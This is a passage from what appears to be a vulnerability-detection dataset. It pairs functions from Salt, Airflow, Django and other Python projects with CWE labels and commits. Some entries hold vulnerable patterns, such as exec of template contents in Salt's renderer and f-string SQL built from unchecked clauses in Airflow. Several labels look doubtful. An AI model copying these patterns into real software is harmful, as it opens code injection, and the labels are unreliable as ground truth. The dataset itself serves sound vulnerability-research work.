        dynamodb_to_s3_operator = DynamoDBToS3Operator(
            task_id=""dynamodb_to_s3"",
            dynamodb_table_name=""airflow_rocks"",
            s3_bucket_name=""airflow-bucket"",
            file_size=4000,
        )

        dynamodb_to_s3_operator.execute(context={})

        assert [{""a"": 1}, {""b"": 2}, {""c"": 3}] == self.output_queue"
,UNKNOWN,UNKNOWN,salt/renderers/pyobjects.py,1,,CWE-94,saltstack/salt,8a41482ee27f8a64d1ddc85b3aa92e03d71ba5ae,"def render(template, saltenv='base', sls='', salt_data=True, **kwargs):
    if 'pyobjects_states' not in __context__:
        load_states()

    # these hold the scope that our sls file will be executed with
    _locals = {}
    _globals = {}

    # create our StateFactory objects
    mod_globals = {'StateFactory': StateFactory}
    for mod in __context__['pyobjects_states']:
        mod_locals = {}
        mod_camel = ''.join([
            part.capitalize()
            for part in mod.split('_')
        ])
        valid_funcs = ""','"".join(
            __context__['pyobjects_states'][mod]
        )
        mod_cmd = ""{0} = StateFactory('{1!s}', valid_funcs=['{2}'])"".format(
            mod_camel,
            mod,
            valid_funcs
        )
        if sys.version_info[0] > 2:
            # in py3+ exec is a function
            exec(mod_cmd, mod_globals, mod_locals)
        else:
            # prior to that it is a statement
            exec(mod_cmd, mod_globals, mod_locals)

        _globals[mod_camel] = mod_locals[mod_camel]

    # add our include and extend functions
    _globals['include'] = Registry.include
    _globals['extend'] = Registry.make_extend

    # add our map class
    Map.__salt__ = __salt__
    _globals['Map'] = Map

    # add some convenience methods to the global scope as well as the ""dunder""
    # format of all of the salt objects
    try:
        _globals.update({
            # salt, pillar & grains all provide shortcuts or object interfaces
            'salt': SaltObject(__salt__),
            'pillar': __salt__['pillar.get'],
            'grains': __salt__['grains.get'],
            'mine': __salt__['mine.get'],
            'config': __salt__['config.get'],

            # the ""dunder"" formats are still available for direct use
            '__salt__': __salt__,
            '__pillar__': __pillar__,
            '__grains__': __grains__
        })
    except NameError:
        pass

    # if salt_data is not True then we just return the global scope we've
    # built instead of returning salt data from the registry
    if not salt_data:
        return _globals

    # this will be used to fetch any import files
    client = get_file_client(__opts__)

    # process our sls imports
    #
    # we allow pyobjects users to use a special form of the import statement
    # so that they may bring in objects from other files. while we do this we
    # disable the registry since all we're looking for here is python objects,
    # not salt state data
    template_data = []
    Registry.enabled = False
    for line in template.readlines():
        line = line.rstrip('\r\n')
        matched = False
        for RE in (IMPORT_RE, FROM_RE):
            matches = re.match(RE, line)
            if not matches:
                continue

            import_file = matches.group(1).strip()
            try:
                imports = matches.group(2).split(',')
            except IndexError:
                # if we don't have a third group in the matches object it means
                # that we're importing everything
                imports = None

            state_file = client.cache_file(import_file, saltenv)
            if not state_file:
                raise ImportError(""Could not find the file {0!r}"".format(import_file))

            with open(state_file) as f:
                state_contents = f.read()

            state_locals = {}
            if sys.version_info[0] > 2:
                # in py3+ exec is a function
                exec(state_contents, _globals, state_locals)
            else:
                # prior to that it is a statement
                exec(state_contents, _globals, state_locals)

            if imports is None:
                imports = list(state_locals.keys())

            for name in imports:
                name = name.strip()
                if name not in state_locals:
                    raise ImportError(""{0!r} was not found in {1!r}"".format(
                        name,
                        import_file
                    ))
                _globals[name] = state_locals[name]

            matched = True
            break

        if not matched:
            template_data.append(line)

    final_template = ""\n"".join(template_data)

    # re-enable the registry
    Registry.enabled = True

    # now exec our template using our created scopes
    if sys.version_info[0] > 2:
        # in py3+ exec is a function
        exec(final_template, _globals, _locals)
    else:
        # prior to that it is a statement
        exec(final_template, _globals, _locals)

    return Registry.salt_data()"
,UNKNOWN,UNKNOWN,airflow/hooks/base_hook.py,1,"def get_connection(cls, conn_id: str) -> Connection:
        """"""
        Get random connection selected from all connections configured with this connection id.

        :param conn_id: connection id
        :return: connection
        """"""
        conn = random.choice(list(cls.get_connections(conn_id)))
        if conn.host:
            log.info(
                ""Using connection to: id: %s. Host: %s, Port: %s, Schema: %s, Login: %s, Password: %s, ""
                ""extra: %s"",
                conn.conn_id,
                conn.host,
                conn.port,
                conn.schema,
                conn.login,
                ""XXXXXXXX"" if conn.password else None,
                ""XXXXXXXX"" if conn.extra_dejson else None
            )
        return conn",CWE-330,apache/airflow,7256f4caa226f8f8632d6e2d38d8c94cb3250a6f,"def get_connection(cls, conn_id: str) -> Connection:
        """"""
        Get random connection selected from all connections configured with this connection id.

        :param conn_id: connection id
        :return: connection
        """"""
        conn = random.choice(list(cls.get_connections(conn_id)))
        if conn.host:
            log.info(""Using connection to: %s"", conn.log_info())
        return conn"
,UNKNOWN,UNKNOWN,tests/auth_tests/test_forms.py,1,"def test_unicode_username(self):
        User.objects.create_user(username='Σαρα', password='pwd')
        data = {
            'username': 'Σαρα',
            'password': 'pwd',
        }
        form = AuthenticationForm(None, data)
        self.assertTrue(form.is_valid())
        self.assertEqual(form.non_field_errors(), [])",CWE-259,django/django,5ceaf14686ce626404afb6a5fbd3d8286410bf13,"def test_unicode_username(self):
        User.objects.create_user(username='Σαρα', password='pwd')
        data = {
            'username': 'Σαρα',
            'password': 'pwd',
        }
        form = AuthenticationForm(None, data)
        self.assertTrue(form.is_valid())
        self.assertEqual(form.non_field_errors(), [])"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/proxy/philips_hue.py,0,,,saltstack/salt,54ad6e65ec27e01348c56047973988d8a767a707,"def call_switch(*args, **kwargs):
    '''
    Switch lamp ON/OFF.

    If no particular state is passed,
    then lamp will be switched to the opposite state.

    Options:

    * **id**: Specifies a device ID. Can be a comma-separated values. All, if omitted.
    * **on**: True or False

    CLI Example:

    .. code-block:: bash

        salt '*' hue.switch id=1 on=True
        salt '*' hue.switch id=1,2,3 on=True
    '''
    if 'on' not in kwargs:
        raise CommandExecutionError(""Parameter 'on' is missing and should be True or False"")

    out = dict()
    for dev_id in ('id' not in kwargs and call_lights().keys() or _get_devices(kwargs)):
        out[dev_id] = _set(dev_id, kwargs['on'] and Const.LAMP_ON or Const.LAMP_OFF)

    return out"
,UNKNOWN,UNKNOWN,tests/serialization/test_dag_serialization.py,1,"def test_extra_serialized_field_and_operator_links(
        self, bash_command, serialized_links, links, dag_maker
    ):
        """"""
        Assert extra field exists & OperatorLinks defined in Plugins and inbuilt Operator Links.

        This tests also depends on GoogleLink() registered as a plugin
        in tests/plugins/test_plugin.py

        The function tests that if extra operator links are registered in plugin
        in ``operator_extra_links`` and the same is also defined in
        the Operator in ``BaseOperator.operator_extra_links``, it has the correct
        extra link.

        If CustomOperator is called with a string argument for bash_command it
        has a single link, if called with an array it has one link per element.
        We use this to test the serialization of link data.
        """"""
        test_date = timezone.DateTime(2019, 8, 1, tzinfo=timezone.utc)

        with dag_maker(dag_id=""simple_dag"", start_date=test_date) as dag:
            CustomOperator(task_id=""simple_task"", bash_command=bash_command)

        serialized_dag = SerializedDAG.to_dict(dag)
        assert ""bash_command"" in serialized_dag[""dag""][""tasks""][0][""__var""]

        dag = SerializedDAG.from_dict(serialized_dag)
        simple_task = dag.task_dict[""simple_task""]
        assert getattr(simple_task, ""bash_command"") == bash_command

        #########################################################
        # Verify Operator Links work with Serialized Operator
        #########################################################
        # Check Serialized version of operator link only contains the inbuilt Op Link
        assert serialized_dag[""dag""][""tasks""][0][""__var""][""_operator_extra_links""] == serialized_links

        # Test all the extra_links are set
        assert simple_task.extra_links == sorted({*links, ""airflow"", ""github"", ""google""})

        dr = dag_maker.create_dagrun(logical_date=test_date)
        (ti,) = dr.task_instances
        XCom.set(
            key=""search_query"",
            value=bash_command,
            task_id=simple_task.task_id,
            dag_id=simple_task.dag_id,
            run_id=dr.run_id,
        )

        # Test Deserialized inbuilt link
        for name, expected in links.items():
            link = simple_task.get_extra_links(ti, name)
            assert link == expected

        # Test Deserialized link registered via Airflow Plugin
        link = simple_task.get_extra_links(ti, GoogleLink.name)
        assert link == ""https://www.google.com""",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_extra_serialized_field_and_operator_links(
        self, bash_command, serialized_links, links, dag_maker
    ):
        """"""
        Assert extra field exists & OperatorLinks defined in Plugins and inbuilt Operator Links.

        This tests also depends on GoogleLink() registered as a plugin
        in tests/plugins/test_plugin.py

        The function tests that if extra operator links are registered in plugin
        in ``operator_extra_links`` and the same is also defined in
        the Operator in ``BaseOperator.operator_extra_links``, it has the correct
        extra link.

        If CustomOperator is called with a string argument for bash_command it
        has a single link, if called with an array it has one link per element.
        We use this to test the serialization of link data.
        """"""
        test_date = timezone.DateTime(2019, 8, 1, tzinfo=timezone.utc)

        with dag_maker(dag_id=""simple_dag"", start_date=test_date) as dag:
            CustomOperator(task_id=""simple_task"", bash_command=bash_command)

        serialized_dag = SerializedDAG.to_dict(dag)
        assert ""bash_command"" in serialized_dag[""dag""][""tasks""][0][""__var""]

        dag = SerializedDAG.from_dict(serialized_dag)
        simple_task = dag.task_dict[""simple_task""]
        assert getattr(simple_task, ""bash_command"") == bash_command

        #########################################################
        # Verify Operator Links work with Serialized Operator
        #########################################################
        # Check Serialized version of operator link only contains the inbuilt Op Link
        assert serialized_dag[""dag""][""tasks""][0][""__var""][""_operator_extra_links""] == serialized_links

        # Test all the extra_links are set
        assert simple_task.extra_links == sorted({*links, ""airflow"", ""github"", ""google""})

        dr = dag_maker.create_dagrun(logical_date=test_date)
        (ti,) = dr.task_instances
        XCom.set(
            key=""search_query"",
            value=bash_command,
            task_id=simple_task.task_id,
            dag_id=simple_task.dag_id,
            run_id=dr.run_id,
        )

        # Test Deserialized inbuilt link
        for name, expected in links.items():
            link = simple_task.get_extra_links(ti, name)
            assert link == expected

        # Test Deserialized link registered via Airflow Plugin
        link = simple_task.get_extra_links(ti, GoogleLink.name)
        assert ""https://www.google.com"" == link"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/expressions/tests.py,0,"def test_subquery_filter_by_aggregate(self):
        Number.objects.create(integer=1000, float=1.2)
        Employee.objects.create(salary=1000)
        qs = Number.objects.annotate(
            min_valuable_count=Subquery(
                Employee.objects.filter(
                    salary=OuterRef('integer'),
                ).annotate(cnt=Count('salary')).filter(cnt__gt=0).values('cnt')[:1]
            ),
        )
        self.assertEqual(qs.get().float, 1.2)",CWE-Unknown,django/django,bdc07f176eb7c099ac3fdc42ebaadd48b7f67409,"def test_subquery_filter_by_aggregate(self):
        Number.objects.create(integer=1000, float=1.2)
        Employee.objects.create(salary=1000)
        qs = Number.objects.annotate(
            min_valuable_count=Subquery(
                Employee.objects.filter(
                    salary=OuterRef('integer'),
                ).annotate(cnt=Count('salary')).filter(cnt__gt=0).values('cnt')[:1]
            ),
        )
        self.assertEqual(qs.get().float, 1.2)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/client.py,0,"def pub(self,
            tgt,
            fun,
            arg=(),
            expr_form='glob',
            ret='',
            jid='',
            timeout=5,
            **kwargs):
        '''
        Take the required arguments and publish the given command.
        Arguments:
            tgt:
                The tgt is a regex or a glob used to match up the ids on
                the minions. Salt works by always publishing every command
                to all of the minions and then the minions determine if
                the command is for them based on the tgt value.
            fun:
                The function name to be called on the remote host(s), this
                must be a string in the format ""<modulename>.<function name>""
            arg:
                The arg option needs to be a tuple of arguments to pass
                to the calling function, if left blank
        Returns:
            jid:
                A string, as returned by the publisher, which is the job
                id, this will inform the client where to get the job results
            minions:
                A set, the targets that the tgt passed should match.
        '''
        # Make sure the publisher is running by checking the unix socket
        if not os.path.exists(os.path.join(self.opts['sock_dir'],
                                           'publish_pull.ipc')):
            return {'jid': '0', 'minions': []}

        if expr_form == 'nodegroup':
            if tgt not in self.opts['nodegroups']:
                conf_file = self.opts.get(
                    'conf_file', 'the master config file'
                )
                raise SaltInvocationError(
                    'Node group {0} unavailable in {1}'.format(
                        tgt, conf_file
                    )
                )
            tgt = salt.utils.minions.nodegroup_comp(tgt,
                                                    self.opts['nodegroups'])
            expr_form = 'compound'

        # Convert a range expression to a list of nodes and change expression
        # form to list
        if expr_form == 'range' and HAS_RANGE:
            tgt = self._convert_range_to_list(tgt)
            expr_form = 'list'

        # If an external job cache is specified add it to the ret list
        if self.opts.get('ext_job_cache'):
            if ret:
                ret += ',{0}'.format(self.opts['ext_job_cache'])
            else:
                ret = self.opts['ext_job_cache']

        # format the payload - make a function that does this in the payload
        #   module
        # make the zmq client
        # connect to the req server
        # send!
        # return what we get back

        # Generate the standard keyword args to feed to format_payload
        payload_kwargs = {'cmd': 'publish',
                          'tgt': tgt,
                          'fun': fun,
                          'arg': arg,
                          'key': self.key,
                          'tgt_type': expr_form,
                          'ret': ret,
                          'jid': jid}

        # if kwargs are passed, pack them.
        if kwargs:
            payload_kwargs['kwargs'] = kwargs

        # If we have a salt user, add it to the payload
        if self.salt_user:
            payload_kwargs['user'] = self.salt_user

        # If we're a syndication master, pass the timeout
        if self.opts['order_masters']:
            payload_kwargs['to'] = timeout

        sreq = salt.payload.SREQ(
            #'tcp://{0[interface]}:{0[ret_port]}'.format(self.opts),
            'tcp://' + salt.utils.ip_bracket(self.opts['interface']) +
            ':' + self.opts['ret_port'],
        )
        payload = sreq.send('clear', payload_kwargs)

        if not payload:
            # The master key could have changed out from under us! Regen
            # and try again if the key has changed
            key = self.__read_master_key()
            if key == self.key:
                return payload
            self.key = key
            payload_kwargs['key'] = self.key
            payload = sreq.send('clear', payload_kwargs)
            if not payload:
                return payload

        # We have the payload, let's get rid of SREQ fast(GC'ed faster)
        del sreq

        return {'jid': payload['load']['jid'],
                'minions': payload['load']['minions']}",,saltstack/salt,71c2e256e041b863104dc2e5bb007622af4fb4ba,"def pub(self,
            tgt,
            fun,
            arg=(),
            expr_form='glob',
            ret='',
            jid='',
            timeout=5,
            **kwargs):
        '''
        Take the required arguments and publish the given command.
        Arguments:
            tgt:
                The tgt is a regex or a glob used to match up the ids on
                the minions. Salt works by always publishing every command
                to all of the minions and then the minions determine if
                the command is for them based on the tgt value.
            fun:
                The function name to be called on the remote host(s), this
                must be a string in the format ""<modulename>.<function name>""
            arg:
                The arg option needs to be a tuple of arguments to pass
                to the calling function, if left blank
        Returns:
            jid:
                A string, as returned by the publisher, which is the job
                id, this will inform the client where to get the job results
            minions:
                A set, the targets that the tgt passed should match.
        '''
        # Make sure the publisher is running by checking the unix socket
        if not os.path.exists(os.path.join(self.opts['sock_dir'],
                                           'publish_pull.ipc')):
            return {'jid': '0', 'minions': []}

        if expr_form == 'nodegroup':
            if tgt not in self.opts['nodegroups']:
                conf_file = self.opts.get(
                    'conf_file', 'the master config file'
                )
                raise SaltInvocationError(
                    'Node group {0} unavailable in {1}'.format(
                        tgt, conf_file
                    )
                )
            tgt = salt.utils.minions.nodegroup_comp(tgt,
                                                    self.opts['nodegroups'])
            expr_form = 'compound'

        # Convert a range expression to a list of nodes and change expression
        # form to list
        if expr_form == 'range' and HAS_RANGE:
            tgt = self._convert_range_to_list(tgt)
            expr_form = 'list'

        # If an external job cache is specified add it to the ret list
        if self.opts.get('ext_job_cache'):
            if ret:
                ret += ',{0}'.format(self.opts['ext_job_cache'])
            else:
                ret = self.opts['ext_job_cache']

        # format the payload - make a function that does this in the payload
        #   module
        # make the zmq client
        # connect to the req server
        # send!
        # return what we get back

        # Generate the standard keyword args to feed to format_payload
        payload_kwargs = {'cmd': 'publish',
                          'tgt': tgt,
                          'fun': fun,
                          'arg': arg,
                          'key': self.key,
                          'tgt_type': expr_form,
                          'ret': ret,
                          'jid': jid}

        # if kwargs are passed, pack them.
        if kwargs:
            payload_kwargs['kwargs'] = kwargs

        # If we have a salt user, add it to the payload
        if self.salt_user:
            payload_kwargs['user'] = self.salt_user

        # If we're a syndication master, pass the timeout
        if self.opts['order_masters']:
            payload_kwargs['to'] = timeout

        sreq = salt.payload.SREQ(
            'tcp://{0[interface]}:{0[ret_port]}'.format(self.opts),
        )
        payload = sreq.send('clear', payload_kwargs)

        if not payload:
            # The master key could have changed out from under us! Regen
            # and try again if the key has changed
            key = self.__read_master_key()
            if key == self.key:
                return payload
            self.key = key
            payload_kwargs['key'] = self.key
            payload = sreq.send('clear', payload_kwargs)
            if not payload:
                return payload

        # We have the payload, let's get rid of SREQ fast(GC'ed faster)
        del sreq

        return {'jid': payload['load']['jid'],
                'minions': payload['load']['minions']}"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/base/handlers.py,0,"def token(self):
        """"""Return the login token for this application, if any.""""""
        return self.settings.get('token', None)",,jupyter/notebook,56d7a2d3a6a547b02d0aec56748bd2fd703512e9,"def token(self):
        """"""Return the login token for this application, if any.""""""
        return self.settings.get('token', None)"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/cli/test_baseline.py,0,"def test_init_logger(self):
        # Test whether the logger was initialized when calling init_logger
        baseline.init_logger()
        logger = baseline.LOG

        # verify that logger was initialized
        self.assertIsNotNone(logger)",UNKNOWN,PyCQA/bandit,3be3ca4de0b379d0d6713b28eec6c3b2ec9fcca9,"def test_init_logger(self):
        # Test whether the logger was initialized when calling init_logger
        baseline.init_logger()
        logger = baseline.logger

        # verify that logger was initialized
        self.assertIsNotNone(logger)"
,UNKNOWN,UNKNOWN,airflow/utils/db.py,1,"def _move_dangling_table(session, source_table: ""Table"", target_table_name: str, where_clause: str):
    dialect_name = session.get_bind().dialect.name

    delete_where = "" AND "".join(
        f""{source_table.name}.{c.name} = d.{c.name}"" for c in source_table.primary_key.columns
    )
    if dialect_name == ""mssql"":
        session.execute(
            text(f""select source.* into {target_table_name} from {source_table} as source {where_clause}"")
        )
        session.execute(
            text(
                f""delete from {source_table} from {source_table} join {target_table_name} AS d ON ""
                + delete_where
            )
        )
    else:
        if dialect_name == ""mysql"":
            # CREATE TABLE AS SELECT must be broken into two queries for  MySQL as the single query
            # approach fails when replication is enabled (""Statement violates GTID consistency"")```
            session.execute(text(f""create table {target_table_name} like {source_table}""))
            session.execute(
                text(
                    f""INSERT INTO {target_table_name} select source.* from {source_table} as source ""
                    + where_clause
                )
            )
        # Postgres and SQLite have the same CREATE TABLE a AS SELECT ... syntax
        else:
            session.execute(
                text(
                    f""create table {target_table_name} as select source.* from {source_table} as source ""
                    + where_clause
                )
            )

        # But different join-delete syntax.
        if dialect_name == ""mysql"":
            session.execute(
                text(
                    f""delete {source_table} from {source_table} join {target_table_name} as d on ""
                    + delete_where
                )
            )
        elif dialect_name == ""sqlite"":
            session.execute(
                text(
                    f""delete from {source_table} where ROWID in (select {source_table}.ROWID from ""
                    f""{source_table} as source join {target_table_name} as d on {delete_where})""
                )
            )
        else:
            session.execute(
                text(f""delete from {source_table} using {target_table_name} as d where {delete_where}"")
            )",CWE-89,apache/airflow,b3b12da86c1ce85d63d8c9744e89cfafdd01d08f,"def _move_dangling_table(session, source_table: ""Table"", target_table_name: str, where_clause: str):
    dialect_name = session.get_bind().dialect.name

    delete_where = "" AND "".join(
        f""{source_table.name}.{c.name} = d.{c.name}"" for c in source_table.primary_key.columns
    )
    if dialect_name == ""mssql"":
        session.execute(
            text(f""select source.* into {target_table_name} from {source_table} as source {where_clause}"")
        )
        session.execute(
            text(
                f""delete from {source_table} from {source_table} join {target_table_name} AS d ON ""
                + delete_where
            )
        )
    else:
        # Postgres, MySQL and SQLite all have the same CREATE TABLE a AS SELECT ... syntax
        session.execute(
            text(
                f""create table {target_table_name} as select source.* from {source_table} as source ""
                + where_clause
            )
        )

        # But different join-delete syntax.
        if dialect_name == ""mysql"":
            session.execute(
                text(
                    f""delete {source_table} from {source_table} join {target_table_name} as d on ""
                    + delete_where
                )
            )
        elif dialect_name == ""sqlite"":
            session.execute(
                text(
                    f""delete from {source_table} where ROWID in (select {source_table}.ROWID from ""
                    f""{source_table} as source join {target_table_name} as d on {delete_where})""
                )
            )
        else:
            session.execute(
                text(f""delete from {source_table} using {target_table_name} as d where {delete_where}"")
            )"
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/test_win_pkg.py,1,"def test_pkg_install_name():
    """"""
    test pkg.install name extra_install_flags
    """"""

    ret__get_package_info = {
        ""3.03"": {
            ""uninstaller"": ""%program.exe"",
            ""reboot"": False,
            ""msiexec"": False,
            ""installer"": ""runme.exe"",
            ""uninstall_flags"": ""/S"",
            ""locale"": ""en_US"",
            ""install_flags"": ""/s"",
            ""full_name"": ""Firebox 3.03 (x86 en-US)"",
        }
    }

    mock_cmd_run_all = MagicMock(return_value={""retcode"": 0})
    with patch.object(
        salt.utils.data, ""is_true"", MagicMock(return_value=True)
    ), patch.object(
        win_pkg, ""_get_package_info"", MagicMock(return_value=ret__get_package_info)
    ), patch.dict(
        win_pkg.__salt__,
        {
            ""pkg_resource.parse_targets"": MagicMock(
                return_value=[{""firebox"": ""3.03""}, None]
            ),
            ""cp.is_cached"": MagicMock(return_value=""C:\\fake\\path.exe""),
            ""cmd.run_all"": mock_cmd_run_all,
        },
    ):
        ret = win_pkg.install(
            name=""firebox"",
            version=""3.03"",
            extra_install_flags=""-e True -test_flag True"",
        )
        assert ""-e True -test_flag True"" in str(mock_cmd_run_all.call_args[0])",CWE-703,saltstack/salt,35e65f9bc103d951fe89e45ea503a7fe4797d963,"def test_pkg_install_name():
    """"""
    test pkg.install name extra_install_flags
    """"""

    ret__get_package_info = {
        ""3.03"": {
            ""uninstaller"": ""%program.exe"",
            ""reboot"": False,
            ""msiexec"": False,
            ""installer"": ""runme.exe"",
            ""uninstall_flags"": ""/S"",
            ""locale"": ""en_US"",
            ""install_flags"": ""/s"",
            ""full_name"": ""Firebox 3.03 (x86 en-US)"",
        }
    }

    mock_cmd_run_all = MagicMock(return_value={""retcode"": 0})
    with patch.object(
        salt.utils.data, ""is_true"", MagicMock(return_value=True)
    ), patch.object(
        win_pkg, ""_get_package_info"", MagicMock(return_value=ret__get_package_info)
    ), patch.dict(
        win_pkg.__salt__,
        {
            ""pkg_resource.parse_targets"": MagicMock(
                return_value=[{""firebox"": ""3.03""}, None]
            ),
            ""cp.is_cached"": MagicMock(return_value=""C:\\fake\\path.exe""),
            ""cmd.run_all"": mock_cmd_run_all,
        },
    ):
        ret = win_pkg.install(
            name=""firebox"",
            version=""3.03"",
            extra_install_flags=""-e True -test_flag True"",
        )
        assert ""-e True -test_flag True"" in str(mock_cmd_run_all.call_args[0])"
,UNKNOWN,UNKNOWN,tests/pytorch/test_pytorch_autolog.py,1,"def test_pytorch_autologging_supports_data_parallel_execution():
    mlflow.pytorch.autolog()
    model = IrisClassification()
    dm = IrisDataModule()
    dm.setup(stage=""fit"")

    accelerator = ""cpu"" if Version(pl.__version__) > Version(""1.6.4"") else ""ddp_cpu""
    trainer = pl.Trainer(max_epochs=NUM_EPOCHS, accelerator=accelerator, num_processes=4)

    with mlflow.start_run() as run:
        trainer.fit(model, datamodule=dm)
        trainer.test(datamodule=dm)

    client = MlflowClient()
    run = client.get_run(run.info.run_id)

    # Checking if metrics are logged
    client = MlflowClient()
    for metric_key in [""loss"", ""train_acc"", ""val_loss"", ""val_acc""]:
        assert metric_key in run.data.metrics

    data = run.data
    assert ""test_loss"" in data.metrics
    assert ""test_acc"" in data.metrics

    # Testing optimizer parameters are logged
    assert ""optimizer_name"" in data.params
    assert data.params[""optimizer_name""] == ""Adam""

    # Testing model_summary.txt is saved
    client = MlflowClient()
    artifacts = client.list_artifacts(run.info.run_id)
    artifacts = list(map(lambda x: x.path, artifacts))
    assert ""model"" in artifacts
    assert ""model_summary.txt"" in artifacts",CWE-703,mlflow/mlflow,bd10105e18f91cfde423d39c304113736b9f33ed,"def test_pytorch_autologging_supports_data_parallel_execution():
    mlflow.pytorch.autolog()
    model = IrisClassification()
    dm = IrisDataModule()
    dm.setup(stage=""fit"")

    trainer = pl.Trainer(max_epochs=NUM_EPOCHS, accelerator=""ddp_cpu"", num_processes=4)

    with mlflow.start_run() as run:
        trainer.fit(model, datamodule=dm)
        trainer.test(datamodule=dm)

    client = MlflowClient()
    run = client.get_run(run.info.run_id)

    # Checking if metrics are logged
    client = MlflowClient()
    for metric_key in [""loss"", ""train_acc"", ""val_loss"", ""val_acc""]:
        assert metric_key in run.data.metrics

    data = run.data
    assert ""test_loss"" in data.metrics
    assert ""test_acc"" in data.metrics

    # Testing optimizer parameters are logged
    assert ""optimizer_name"" in data.params
    assert data.params[""optimizer_name""] == ""Adam""

    # Testing model_summary.txt is saved
    client = MlflowClient()
    artifacts = client.list_artifacts(run.info.run_id)
    artifacts = list(map(lambda x: x.path, artifacts))
    assert ""model"" in artifacts
    assert ""model_summary.txt"" in artifacts"
,UNKNOWN,UNKNOWN,pkg/tests/downgrade/test_salt_downgrade.py,1,"def test_salt_downgrade(salt_call_cli, install_salt):
    """"""
    Test an upgrade of Salt.
    """"""
    if not install_salt.downgrade:
        pytest.skip(""Not testing a downgrade, do not run"")

    if install_salt.relenv:
        original_py_version = install_salt.package_python_version()

    # Verify current install version is setup correctly and works
    ret = salt_call_cli.run(""test.version"")
    assert ret.returncode == 0
    assert ret.data == install_salt.artifact_version

    # Test pip install before a downgrade
    dep = ""PyGithub==1.56.0""
    install = salt_call_cli.run(""--local"", ""pip.install"", dep)
    assert install.returncode == 0

    # Verify we can use the module dependent on the installed package
    repo = ""https://github.com/saltstack/salt.git""
    use_lib = salt_call_cli.run(""--local"", ""github.get_repo_info"", repo)
    assert ""Authentication information could"" in use_lib.stderr

    # Downgrade Salt to the previous version and test
    install_salt.install(downgrade=True)
    if install_salt.relenv:
        new_py_version = install_salt.package_python_version()
    ret = salt_call_cli.run(""test.version"")
    assert ret.returncode == 0
    assert ret.data == install_salt.prev_version

    # Install dep following downgrade
    # TODO: This should be removed when we stop testing against versions < 3006.0
    if (
        install_salt.relenv and original_py_version != new_py_version
    ) or not install_salt.relenv:
        install = salt_call_cli.run(""--local"", ""pip.install"", dep)
        assert install.returncode == 0

    # test pip install after a downgrade
    use_lib = salt_call_cli.run(""--local"", ""github.get_repo_info"", repo)
    assert ""Authentication information could"" in use_lib.stderr",CWE-703,saltstack/salt,abb8011fd414913889cad385721d424723105422,"def test_salt_downgrade(salt_call_cli, install_salt):
    """"""
    Test an upgrade of Salt.
    """"""
    if not install_salt.downgrade:
        pytest.skip(""Not testing a downgrade, do not run"")

    original_py_version = install_salt.package_python_version()

    # Verify current install version is setup correctly and works
    ret = salt_call_cli.run(""test.version"")
    assert ret.returncode == 0
    assert ret.data == install_salt.artifact_version

    # Test pip install before a downgrade
    dep = ""PyGithub==1.56.0""
    install = salt_call_cli.run(""--local"", ""pip.install"", dep)
    assert install.returncode == 0

    # Verify we can use the module dependent on the installed package
    repo = ""https://github.com/saltstack/salt.git""
    use_lib = salt_call_cli.run(""--local"", ""github.get_repo_info"", repo)
    assert ""Authentication information could"" in use_lib.stderr

    # Downgrade Salt to the previous version and test
    install_salt.install(downgrade=True)
    new_py_version = install_salt.package_python_version()
    ret = salt_call_cli.run(""test.version"")
    assert ret.returncode == 0
    assert ret.data == install_salt.prev_version

    # Install dep following downgrade
    # TODO: This should be removed when we stop testing against versions < 3006.0
    if not install_salt.relenv or original_py_version != new_py_version:
        install = salt_call_cli.run(""--local"", ""pip.install"", dep)
        assert install.returncode == 0

    # test pip install after a downgrade
    use_lib = salt_call_cli.run(""--local"", ""github.get_repo_info"", repo)
    assert ""Authentication information could"" in use_lib.stderr"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,requests/sessions.py,0,"def __init__(self):

        #: A case-insensitive dictionary of headers to be sent on each
        #: :class:`Request <Request>` sent from this
        #: :class:`Session <Session>`.
        self.headers = default_headers()

        #: Default Authentication tuple or object to attach to
        #: :class:`Request <Request>`.
        self.auth = None

        #: Dictionary mapping protocol or protocol and host to the URL of the proxy
        #: (e.g. {'http': 'foo.bar:3128', 'http://host.name': 'foo.bar:4012'}) to
        #: be used on each :class:`Request <Request>`.
        self.proxies = {}

        #: Event-handling hooks.
        self.hooks = default_hooks()

        #: Dictionary of querystring data to attach to each
        #: :class:`Request <Request>`. The dictionary values may be lists for
        #: representing multivalued query parameters.
        self.params = {}

        #: Stream response content default.
        self.stream = False

        #: SSL Verification default.
        self.verify = True

        #: SSL client certificate default, if String, path to ssl client
        #: cert file (.pem). If Tuple, ('cert', 'key') pair.
        self.cert = None

        #: Maximum number of redirects allowed. If the request exceeds this
        #: limit, a :class:`TooManyRedirects` exception is raised.
        #: This defaults to requests.models.DEFAULT_REDIRECT_LIMIT, which is
        #: 30.
        self.max_redirects = DEFAULT_REDIRECT_LIMIT

        #: Trust environment settings for proxy configuration, default
        #: authentication and similar.
        self.trust_env = True

        #: A CookieJar containing all currently outstanding cookies set on this
        #: session. By default it is a
        #: :class:`RequestsCookieJar <requests.cookies.RequestsCookieJar>`, but
        #: may be any other ``cookielib.CookieJar`` compatible object.
        self.cookies = cookiejar_from_dict({})

        # Default connection adapters.
        self.adapters = OrderedDict()
        self.mount('https://', HTTPAdapter())
        self.mount('http://', HTTPAdapter())

        # Only store 1000 redirects to prevent using infinite memory
        self.redirect_cache = RecentlyUsedContainer(REDIRECT_CACHE_SIZE)",,psf/requests,a63ae02e345ef772d96802b1dd3eee730144e16b,"def __init__(self):

        #: A case-insensitive dictionary of headers to be sent on each
        #: :class:`Request <Request>` sent from this
        #: :class:`Session <Session>`.
        self.headers = default_headers()

        #: Default Authentication tuple or object to attach to
        #: :class:`Request <Request>`.
        self.auth = None

        #: Dictionary mapping protocol or protocol and host to the URL of the proxy
        #: (e.g. {'http': 'foo.bar:3128', 'http://host.name': 'foo.bar:4012'}) to
        #: be used on each :class:`Request <Request>`.
        self.proxies = {}

        #: Event-handling hooks.
        self.hooks = default_hooks()

        #: Dictionary of querystring data to attach to each
        #: :class:`Request <Request>`. The dictionary values may be lists for
        #: representing multivalued query parameters.
        self.params = {}

        #: Stream response content default.
        self.stream = False

        #: SSL Verification default.
        self.verify = True

        #: SSL client certificate default.
        self.cert = None
